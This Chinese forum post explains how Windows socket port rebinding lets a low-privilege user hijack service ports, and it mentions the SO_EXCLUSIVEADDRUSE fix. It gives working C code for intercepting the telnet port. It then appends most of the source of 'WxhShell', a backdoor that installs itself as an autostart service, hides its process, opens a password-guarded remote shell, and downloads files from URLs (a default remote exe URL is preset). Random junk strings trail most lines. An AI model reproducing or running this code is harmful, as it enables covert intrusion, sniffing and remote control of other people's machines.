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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CghlyT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *Wj]e%  
N!~O~ Eo3  
  saddr.sin_family = AF_INET;  zSd!n  
Ww=^P{q\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w'uB&z4'  
6W\G i>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q4MR9ig1E_  
{,NF'x4$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [?>\]  
s5s'[<  
  这意味着什么?意味着可以进行如下的攻击: lcVZ 32MQ  
px${ "K<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .9NYa|+0  
n2A ; `=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iW%~>`tT  
i(qZ#oN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X'uQr+p^  
G)8v~=Bv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T W#s)iDi  
{ )g $  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S( ^HIJK  
MCO2(E-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xb<>AzEM  
7Is:hx|:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]9 $iUA%Ef  
Lv&9s  
  #include ;mT  
  #include [s{ B vn  
  #include <N{wFvF  
  #include    XCyU)[wY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [$X^r<|P@  
  int main() emSky-{$u  
  { +'|nsIx,  
  WORD wVersionRequested; Sx8RH),k  
  DWORD ret; @{>0v"@  
  WSADATA wsaData; pC~ M5(F_  
  BOOL val; -e4TqzRr  
  SOCKADDR_IN saddr; 1*GL;W~ix*  
  SOCKADDR_IN scaddr; }el7@Gv  
  int err; Xj9\:M-  
  SOCKET s; a[_IG-l|i4  
  SOCKET sc; X5pb9zRq  
  int caddsize; 6H1;Hl f  
  HANDLE mt; ,njlKkFw^Z  
  DWORD tid;   9OYyR  
  wVersionRequested = MAKEWORD( 2, 2 ); boq=@Qh  
  err = WSAStartup( wVersionRequested, &wsaData ); XL[Dmu&  
  if ( err != 0 ) { %Q]3`kxp  
  printf("error!WSAStartup failed!\n"); ^H0#2hFa  
  return -1; OO2uE ;( 3  
  } S]&:R)#@  
  saddr.sin_family = AF_INET; n$ rgJ  
   Xub*i^(]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,j6 R/sg  
GT7&>}FJ)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k|,Y_h0Y  
  saddr.sin_port = htons(23); _\.4ofK(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ht:\ z;cu  
  { jF@BWPtF=  
  printf("error!socket failed!\n"); JZdRAL2#v  
  return -1; <Umr2Vw-  
  } K491QXG  
  val = TRUE; Aydpr_lp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;f~fGsH}e'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %VGW]!QR  
  { 8_VGB0~3i  
  printf("error!setsockopt failed!\n"); '&+]85_&$  
  return -1; _7z]zy@PC5  
  } {O:{F?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PJ)l{c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ur.krsU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 + ZK U2N*  
jOU99X\0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;X^#$*=Q  
  { @eM$S5&n$  
  ret=GetLastError(); zO2=o5nF.  
  printf("error!bind failed!\n"); %JHv2[r^P  
  return -1; Fge ["p?GF  
  } 5%N[hd1Ql  
  listen(s,2); Xj{gyLs  
  while(1) 1eywnOjrj  
  { t`="2$NO  
  caddsize = sizeof(scaddr); "IB36/9  
  //接受连接请求 &~Y%0&F,&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &09&;KJ  
  if(sc!=INVALID_SOCKET) ?nPG#Z|%  
  { h w ^ V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wH$qj'G4CN  
  if(mt==NULL) wz)s  
  { oI!"F=?&6  
  printf("Thread Creat Failed!\n"); *u-$$@|y  
  break; h\p!J-V  
  } z4 <_>)p  
  } Oi'y0S~ g  
  CloseHandle(mt); R7"7 Rx   
  } .*f 6n|  
  closesocket(s); ?em8nZ'  
  WSACleanup(); lu00@~rx/  
  return 0; ?=LT ^Zp`  
  }   $/lM %yXe  
  DWORD WINAPI ClientThread(LPVOID lpParam) q1q 9W@H  
  { gs3c1Qa3b  
  SOCKET ss = (SOCKET)lpParam; sE'c$H  
  SOCKET sc; b*(K;`9)B  
  unsigned char buf[4096]; 8Ji`wnkXe  
  SOCKADDR_IN saddr; =IW!ZN_  
  long num; ^r-d.1  
  DWORD val; Qu1&$oO  
  DWORD ret; v)T# iw[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B~E">}=!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B~^*@5#0|  
  saddr.sin_family = AF_INET; /{:XYeX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %Z4*;VwQ  
  saddr.sin_port = htons(23); 7~FHn'xt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4#}aLP  
  { er5!n e  
  printf("error!socket failed!\n"); UOFb.FRP>  
  return -1; _  xym  
  } n807?FORB  
  val = 100; IIih9I`IR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uJCp  
  { "AZ|u#0P  
  ret = GetLastError(); !qp$Xtf+  
  return -1; "0uM%*2  
  } .;Mb4"7=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tewp-M KA  
  { 6lCpf1>6@  
  ret = GetLastError(); jC_'6sc`  
  return -1; mZ2CG O R  
  } :o' |%JE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wgIm{;T[u  
  { #Lpw8b6  
  printf("error!socket connect failed!\n");  [Q{\Ik  
  closesocket(sc); .Sn{a }XP4  
  closesocket(ss); i%!<6K6UT  
  return -1; pHoHngyi&  
  } r-wCAk}m*?  
  while(1) y%ij)vQY  
  { jhf# gdz%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HA8A}d~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 faDS!E' +  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NuPlrCy;  
  num = recv(ss,buf,4096,0); 0uIY6e0E  
  if(num>0) Y ~g\peG7  
  send(sc,buf,num,0); (_|*&au J  
  else if(num==0) haBmwq(f  
  break; r&m49N,d  
  num = recv(sc,buf,4096,0); I]` RvT  
  if(num>0) |YsR;=6wT  
  send(ss,buf,num,0); o_`6oC"s  
  else if(num==0) ^7wqb'xg  
  break; 6FNGyvBU  
  }  t1 YB  
  closesocket(ss); @]%eL  
  closesocket(sc); 5"@>>"3U  
  return 0 ; {Y@shf;  
  } ~9 .=t'  
}< H>9iJ:  
jQ;/=9  
========================================================== bwzx_F/  
&muBSQ-  
下边附上一个代码,,WXhSHELL ':fp|m)M  
3nG.ah  
========================================================== t*9 gusmG  
I)V=$r{  
#include "stdafx.h" $/s"It  
2L1y4nnbwo  
#include <stdio.h> CyR`&u  
#include <string.h> nf^?X`g  
#include <windows.h> S?d<P  
#include <winsock2.h> CdF;0A9.3  
#include <winsvc.h> =4MTb_  
#include <urlmon.h> tO{{ci$-T  
!h4T3sO  
#pragma comment (lib, "Ws2_32.lib") : c~SH/qS  
#pragma comment (lib, "urlmon.lib") TL2E|@k1]  
TG}owG]]  
#define MAX_USER   100 // 最大客户端连接数 y62f{ks_/  
#define BUF_SOCK   200 // sock buffer U@NCN2 I  
#define KEY_BUFF   255 // 输入 buffer n!4\w>h  
yf9"Rc~+  
#define REBOOT     0   // 重启 >Xk42zvqn  
#define SHUTDOWN   1   // 关机 >lV,K1Z  
salC4z3  
#define DEF_PORT   5000 // 监听端口 ySr,HXz  
O3@DU#N&s  
#define REG_LEN     16   // 注册表键长度 uVUU1@  
#define SVC_LEN     80   // NT服务名长度 #vBrRHuA#"  
;:D-}t;  
// 从dll定义API ;.uYWP|9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?OFa Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3/`BK{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (p{%]M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ).;{'8Q  
i"}z9Ae~.  
// wxhshell配置信息 ]0."{^ksL  
struct WSCFG { uK@d?u!`  
  int ws_port;         // 监听端口 EL`|>/[J  
  char ws_passstr[REG_LEN]; // 口令 y017 B<Ou  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6?F88;L  
  char ws_regname[REG_LEN]; // 注册表键名 &N^~=y^`C'  
  char ws_svcname[REG_LEN]; // 服务名 _ l|%~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~D9Cu>d9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &^"Ru?MK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @v%Kwe1Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d}4NL:=&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t|iN Sy3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OF7hp5  
^$: w  
}; QFx3N%  
!b+4[ xky  
// default Wxhshell configuration Zu.hcDw1  
struct WSCFG wscfg={DEF_PORT, LZn'+{\`  
    "xuhuanlingzhe", :|s8v2am  
    1, zG#5lzIu,  
    "Wxhshell", W_2;j)i  
    "Wxhshell", oRCc8&  
            "WxhShell Service", nZbI}kcm  
    "Wrsky Windows CmdShell Service",  Y${'  
    "Please Input Your Password: ", :EV.nD7  
  1, $XhMI;h  
  "http://www.wrsky.com/wxhshell.exe", BuV71/Vb{Q  
  "Wxhshell.exe" t,7%| {  
    }; [Kwj 7q`  
6Cj7 =|L7  
// 消息定义模块 2'?'dfj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 23):OB>S`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,GH`tK_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n{;Q"\*Sg  
char *msg_ws_ext="\n\rExit."; J#..xJ?XRD  
char *msg_ws_end="\n\rQuit."; ;\*3A22 #  
char *msg_ws_boot="\n\rReboot..."; 8:{id>Mm^  
char *msg_ws_poff="\n\rShutdown..."; 77@N79lqO  
char *msg_ws_down="\n\rSave to "; GM6, LzH  
ELCNf   
char *msg_ws_err="\n\rErr!"; 3%+ ~"4&  
char *msg_ws_ok="\n\rOK!"; *DPX4 P  
<IZt]P  
char ExeFile[MAX_PATH]; 7.h{"xOx{  
int nUser = 0; vN{@c(=g  
HANDLE handles[MAX_USER]; n)kbQ]  
int OsIsNt; rM7qBt  
C#U(POA  
SERVICE_STATUS       serviceStatus; 6j(/uF4!#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vUpAW[[  
^!1!l-  
// 函数声明 ">bhxXeiN  
int Install(void); ZIx-mC5  
int Uninstall(void); zTg\\z;  
int DownloadFile(char *sURL, SOCKET wsh); XZIapT  
int Boot(int flag); 5.6tVr  
void HideProc(void); (!nkv^]  
int GetOsVer(void); ""-wM~^D  
int Wxhshell(SOCKET wsl); }YDi/b7  
void TalkWithClient(void *cs); %)lp]Y33  
int CmdShell(SOCKET sock); 3IMvtg  
int StartFromService(void); \1<'XVS  
int StartWxhshell(LPSTR lpCmdLine); L0wT:x*  
W"Ip]LJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >38>R0k35  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |R9Lben',  
j*DPW)RkKX  
// 数据结构和表定义 LlX)xJ  
SERVICE_TABLE_ENTRY DispatchTable[] = a#j,0FKv  
{ y&$n[j  
{wscfg.ws_svcname, NTServiceMain}, #|b*l/t8  
{NULL, NULL} wm`<+K  
}; 1q7&WG  
7S{qo&j'  
// 自我安装 L"bJ#0m  
int Install(void) |owr?tC  
{  \(\a=  
  char svExeFile[MAX_PATH]; EwPrh  
  HKEY key; &ys>z<Z  
  strcpy(svExeFile,ExeFile); aS [[ AL  
L )JB^cxf  
// 如果是win9x系统,修改注册表设为自启动 .t@|2  
if(!OsIsNt) { ,clbD4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #kC~qux^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ~71U s  
  RegCloseKey(key); K3!3[dR*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Go_5X(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); juHL$SGC  
  RegCloseKey(key); Ms!EK  
  return 0; ws0qwv#  
    } ?6:qAFw  
  } sq'm)g  
} kOQ)QX  
else { I0}.!  
+KTfGwKt  
// 如果是NT以上系统,安装为系统服务 7%^G ]AFi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /I7V\  
if (schSCManager!=0) Ugri _  
{ /z-rBfdy^  
  SC_HANDLE schService = CreateService S8#0Vo$)a  
  ( 9\_s&p=:.  
  schSCManager, W[&nQW$E  
  wscfg.ws_svcname, <&E}db  
  wscfg.ws_svcdisp, ] U>MYdGWb  
  SERVICE_ALL_ACCESS, Ypyi(_G(?>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oYu xkG  
  SERVICE_AUTO_START, |A3"Jc.2o  
  SERVICE_ERROR_NORMAL, IBT>&(cnV  
  svExeFile, w 0BphK[  
  NULL, eft=k}  
  NULL, |*{*tW C1  
  NULL, O\=Z;}<N  
  NULL, =0cTct6\  
  NULL OR@ 67Y  
  ); Dd?G4xUG  
  if (schService!=0) JQM_96\  
  {  ew1L+  
  CloseServiceHandle(schService); R{@saa5I(>  
  CloseServiceHandle(schSCManager); UdO8KD#r3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SP%X@~d  
  strcat(svExeFile,wscfg.ws_svcname); #*.!J zOg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oZ%uq78#[%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &hWELZe0vv  
  RegCloseKey(key); b-& rMML  
  return 0; (ks>F=vk*  
    } I*-\u  
  } 8&@=Anc&q  
  CloseServiceHandle(schSCManager); [5P-K{Ko  
} hY4#4A`I  
} #&|"t< }  
H:(B^uH  
return 1; M1Q&)am  
} (@^9oN~}  
HkD. W6A3  
// 自我卸载 MRpMmu  
int Uninstall(void) Kki(A 4;7F  
{ JT 7WZc)  
  HKEY key; j e\!0{  
$>/d)o  
if(!OsIsNt) { H(^Eh v>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pz^S3fy  
  RegDeleteValue(key,wscfg.ws_regname); 1clzDwW  
  RegCloseKey(key); {vD$odi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }_lG2#Ll5  
  RegDeleteValue(key,wscfg.ws_regname); q2%cLbI F  
  RegCloseKey(key); j3sz"(  
  return 0; (pELd(*Ga  
  } )w].m  
} uc,>VzdB  
} #*A&jo'E  
else {  LDg9@esi  
WDw<kX6p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B!&5*f}*  
if (schSCManager!=0) !td!">r46e  
{ n{QyqI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 08ZvRy(Je<  
  if (schService!=0) g (&cq  
  { H>+/k-n-  
  if(DeleteService(schService)!=0) { t=7Gfv  
  CloseServiceHandle(schService); vC,FE )'  
  CloseServiceHandle(schSCManager);  9tpyrGv  
  return 0; ika*w  
  } F+*E}QpM  
  CloseServiceHandle(schService); 6[t<g=  
  } ~ikp'5  
  CloseServiceHandle(schSCManager); +`F(wk["m  
} K\-N'M!Z  
} v6)QLp  
b()8l'x_|K  
return 1; wiI@DJ>E  
} ^y>V-R/N  
g=td*S  
// 从指定url下载文件 xC< )]  
int DownloadFile(char *sURL, SOCKET wsh) Q h@Q6  
{ 7#)k-S!B  
  HRESULT hr; H r:*p6  
char seps[]= "/"; `ulQ C  
char *token; g+o$&'\  
char *file; rai'x/Ut}+  
char myURL[MAX_PATH]; qK'mF#n0#  
char myFILE[MAX_PATH]; s`x2Go  
e,s  S.  
strcpy(myURL,sURL); `*U@d%a  
  token=strtok(myURL,seps); e,OXngC  
  while(token!=NULL) r8(oTx  
  { 3Y P! B=  
    file=token; 7T[L5-g  
  token=strtok(NULL,seps); OXLB{|hH80  
  } 2]fTDKh  
tM5(&cQ!d  
GetCurrentDirectory(MAX_PATH,myFILE); #s~ITG #H  
strcat(myFILE, "\\"); 7O)ATb#up  
strcat(myFILE, file); }6l:'nW  
  send(wsh,myFILE,strlen(myFILE),0); Xf;!w:u  
send(wsh,"...",3,0); Z&^vEQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \B')2phE  
  if(hr==S_OK) 3JD62wtx  
return 0; ;*5z&1O  
else 1 k!gR  
return 1; "pt[Nm76)8  
,q*|R O  
} \WE/#To  
UusAsezm:  
// 系统电源模块 VsA_x  
int Boot(int flag) $idToOkw  
{ ]Z[3 \~?  
  HANDLE hToken; yi^X?E{WnX  
  TOKEN_PRIVILEGES tkp; k8E2?kbF  
)-+tN>Bb  
  if(OsIsNt) { 7'+`vt#E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kYS#P(1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /;_$:`|/  
    tkp.PrivilegeCount = 1; gB#!g@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ${Lrj}93  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~/4j&IG  
if(flag==REBOOT) { ~JZLWTEe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J*g<]P&p0  
  return 0; O#tmB?n*  
} tln}jpCw  
else { <c@dE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4PSbr$  
  return 0; TFbc@rfB  
} k&yBB%g  
  } a\-5tYo`u  
  else { PM*lnd#J  
if(flag==REBOOT) { R?:K\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h9S f  
  return 0; +4t \j<T  
} '1!%yKc0  
else { S%p,.0_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^p4`o>  
  return 0; \R&ZWJKh  
} aQhT*OT{Q  
} rDaiA x&  
v-$X1s  
return 1; !6.LSY,E  
} bjUe+ #BL  
"7 alpjwb  
// win9x进程隐藏模块 7<jr0)  
void HideProc(void) &}gH!5L m  
{ ]mBlXE:Z  
#)D$\0ag  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BI2'NN\  
  if ( hKernel != NULL ) Q-_;.xy#4  
  { a&)$s;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !G;BYr>X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  OG IN-  
    FreeLibrary(hKernel); 0Q%I[f8  
  } Md:*[]<~  
uF,%N   
return; t2ui9:g4j  
}  ">|L<  
Qm3 RXO  
// 获取操作系统版本 W*c^(W  
int GetOsVer(void) 1%.CtTi  
{ .Xta;Py|J  
  OSVERSIONINFO winfo; cCtd\/ \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  qzD  
  GetVersionEx(&winfo); K(mzt[n(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C/"Wh=h6  
  return 1; ORo +]9)Yv  
  else O6-"q+H)  
  return 0; F8m@mh*8>  
} b4^a zY  
-J!k|GK#MX  
// 客户端句柄模块 Iq;a!Lya-  
int Wxhshell(SOCKET wsl) #$t93EI  
{ ZCuh^  
  SOCKET wsh; ng2yZ @$  
  struct sockaddr_in client; 78z/D|{"  
  DWORD myID; D//Ts`}+n  
My9fbT  
  while(nUser<MAX_USER) q[Y* .%~  
{ YWhS<}^  
  int nSize=sizeof(client); 1p>&j%dk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kJXy )  
  if(wsh==INVALID_SOCKET) return 1; Re\V<\$J  
Q!Dr3x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Izfj 9h ?  
if(handles[nUser]==0) 53 ^1;  
  closesocket(wsh); AQBr{^inH|  
else /i~n**HeF?  
  nUser++; 5o~AUo{  
  } ``?Z97rH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cMt , 80  
.9bP8u2B{  
  return 0; ]s_BOt  
} Cvs4dd%)i  
;S>ml   
// 关闭 socket fl9J  
void CloseIt(SOCKET wsh) N'5!4JUI  
{ M\9p-%"L  
closesocket(wsh); 0Ioa;XgOn  
nUser--; ]\R%@FCYc  
ExitThread(0); ?6^KY+ 5`C  
} BI)$aR  
$ "^yoL  
// 客户端请求句柄 Y'LIk Q\  
void TalkWithClient(void *cs) g60r m1b  
{ Y1F P |  
7+p=4i^@Zs  
  SOCKET wsh=(SOCKET)cs; h "r)z6Q/  
  char pwd[SVC_LEN]; wvSaq+N  
  char cmd[KEY_BUFF]; c/}bx52>u  
char chr[1]; *}i.,4+y   
int i,j;  F_%&,"$  
XAr YmO  
  while (nUser < MAX_USER) { 8-R; &  
zTt6L6:u  
if(wscfg.ws_passstr) { z+@Jx~<i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~|)'vK8W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 93N:?B9  
  //ZeroMemory(pwd,KEY_BUFF); ?To r)>A'  
      i=0; ~4tu*\P  
  while(i<SVC_LEN) { j.rJfbE|X  
RIl+QA  
  // 设置超时 A0Hsd  
  fd_set FdRead; C}GOwvAL>  
  struct timeval TimeOut; H]W59-{a  
  FD_ZERO(&FdRead); ('p~h-9Vi  
  FD_SET(wsh,&FdRead); ,NaNih1  
  TimeOut.tv_sec=8;  bR5+({yH  
  TimeOut.tv_usec=0; D7x"P-ie  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M>g\Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t7DT5SrR  
V`"A|Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3+jqf@fO  
  pwd=chr[0]; vvG#O[| O  
  if(chr[0]==0xd || chr[0]==0xa) { *] cm{N  
  pwd=0; rfMzHY}%  
  break; MY}B)`yx=  
  } Ey;uaqt  
  i++; [& &9F};  
    } P\CT|K'P  
R oWGQney  
  // 如果是非法用户,关闭 socket i/U HDqZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i~6qOlLD-  
} oos7x6  
DrB PC@^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H6XlSj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )W/ mt[;  
V"@]PI pr  
while(1) { #4*~ 4/  
vN%SN>=L<  
  ZeroMemory(cmd,KEY_BUFF); (-(sBQa+  
Ol'Ct'_k,"  
      // 自动支持客户端 telnet标准   r6`v-TY(/  
  j=0; poYO  
  while(j<KEY_BUFF) { C2</.jeLa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wf=D'6w  
  cmd[j]=chr[0]; .qCD(XZ+  
  if(chr[0]==0xa || chr[0]==0xd) { Ytnk^/Z1L  
  cmd[j]=0; AA um1xl  
  break; hIPU%  
  } Rs cU=oaKi  
  j++; 0)'^vJe  
    } <k&Q"X:"  
Xo>P?^c4?  
  // 下载文件 0ZXG{Gp9S  
  if(strstr(cmd,"http://")) { K Zw"?%H[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f6ad@2  
  if(DownloadFile(cmd,wsh)) n LZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(@UpV-  
  else G~I@'[ur  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (P[:g  
  } h+! Ld^'c  
  else { : YU_ \EV  
Xj&fWu A  
    switch(cmd[0]) { --S2lN/:T  
  z5v)~+"1  
  // 帮助 V\"x#uB  
  case '?': { m]$!wp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  T^ ^o  
    break; ~g+?]Lk}  
  } wYJ.F  
  // 安装 mh"&KX86W  
  case 'i': { lmZ Ssx  
    if(Install()) Wej8YF@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T,,,+gPx  
    else S3u>a\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '8v^.gZ  
    break; u+GtH;<;  
    } YAqv:  
  // 卸载 gh3XC.&  
  case 'r': { 3EN?{T<yf  
    if(Uninstall()) ^|?/ y=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&;dXE h  
    else POQRq%w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SXn1v.6  
    break; 7c9-MP)  
    }  pojQ/  
  // 显示 wxhshell 所在路径 e`fN+  
  case 'p': { LoQm&3/  
    char svExeFile[MAX_PATH]; N246RV1W  
    strcpy(svExeFile,"\n\r"); -gl7mO*  
      strcat(svExeFile,ExeFile); -aPvls   
        send(wsh,svExeFile,strlen(svExeFile),0); `g&<7~\=A  
    break; y_:i'Ri.  
    } E4aCL#}D  
  // 重启 oX@0+*"  
  case 'b': { Q"KD O-t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F7wpGtt  
    if(Boot(REBOOT)) oO-kO!59y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "k(Ee  
    else { n5X0Gi9  
    closesocket(wsh); /AX1LYlr  
    ExitThread(0); 8S[`(] )  
    } z^to"j  
    break; GpV"KVJJ/  
    } Y#EM]x5!=  
  // 关机 y,i:BQJ<  
  case 'd': { }u0t i"V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bkvh]k;F8  
